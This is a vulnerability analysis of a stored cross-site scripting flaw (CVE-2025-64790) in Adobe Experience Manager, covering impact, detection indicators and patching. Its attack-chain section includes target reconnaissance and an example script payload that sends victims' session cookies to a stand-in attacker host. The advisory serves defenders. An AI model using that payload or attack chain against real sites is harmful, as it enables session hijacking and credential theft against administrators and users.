CVE-2025-64790: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64790 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, and patched the same day via Adobe Security Advisory APSB25-115. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged authenticated attacker can inject malicious JavaScript into vulnerable form fields within AEM; the script is stored server-side and executes in the browser of any user who subsequently visits the affected page. Exploitation requires user interaction (a victim browsing to the page containing the malicious content) and low privileges on the part of the attacker, with the scope of impact extending beyond the vulnerable component (changed scope). Attack patterns associated with this vulnerability include stored XSS (CAPEC-592), reflected XSS (CAPEC-591), and DOM-based XSS (CAPEC-588) (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session within AEM, potentially leading to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, and defacement of AEM-hosted content. Because AEM is commonly used as an enterprise content management and digital experience platform, a compromised administrator session could enable broader access to sensitive content, configurations, or integrated systems. Confidentiality and integrity are both impacted at a low level per the CVSS assessment, with no direct availability impact (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan searches for AEM-specific paths (e.g., /libs/granite/core/content/login.html).
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM user account (e.g., a content author account).
3. Locate vulnerable form fields: Navigate to AEM pages or components that accept and store user-supplied input in form fields without adequate output encoding.
4. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save/publish the content.
5. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., an AEM administrator) to browse to the page containing the injected content, causing the malicious script to execute in their browser.
6. Harvest results: Collect stolen session cookies, credentials, or perform unauthorized actions via the victim's authenticated session (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /crx/, /editor.html) containing encoded script tags or JavaScript event handlers (<script>, onerror=, onload=, javascript:) from low-privileged user accounts.
• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after visiting AEM-hosted pages; DNS queries to attacker-controlled domains originating from internal user workstations.
• File System / Repository: Unexpected JavaScript content stored in AEM JCR repository nodes under /content/ paths, particularly in text or rich-text fields; review via CRXDE Lite or repository queries for <script> patterns in stored content.
• Process/Browser: Browser developer console errors or unexpected redirects when authenticated users visit specific AEM pages; anomalous session activity (e.g., actions performed under a user's session from an unexpected IP address).

Adobe has released patches addressing CVE-2025-64790 in AEM 6.5.24.0 (on-premises) and AEM Cloud Service 2025.12.0. Organizations should upgrade to these versions immediately. As a temporary measure, restricting content authoring access to trusted users and reviewing stored content in AEM for unexpected script injections can reduce risk. AEM Cloud Service customers on automatic update schedules will receive the fix automatically (Adobe Advisory).

The Center for Internet Security (CIS) issued an advisory noting multiple vulnerabilities in Adobe products that could allow arbitrary code execution, grouping CVE-2025-64790 among the December 2025 Adobe patch batch (CIS Advisory). No notable individual researcher commentary or significant social media discussion specific to this CVE has been identified.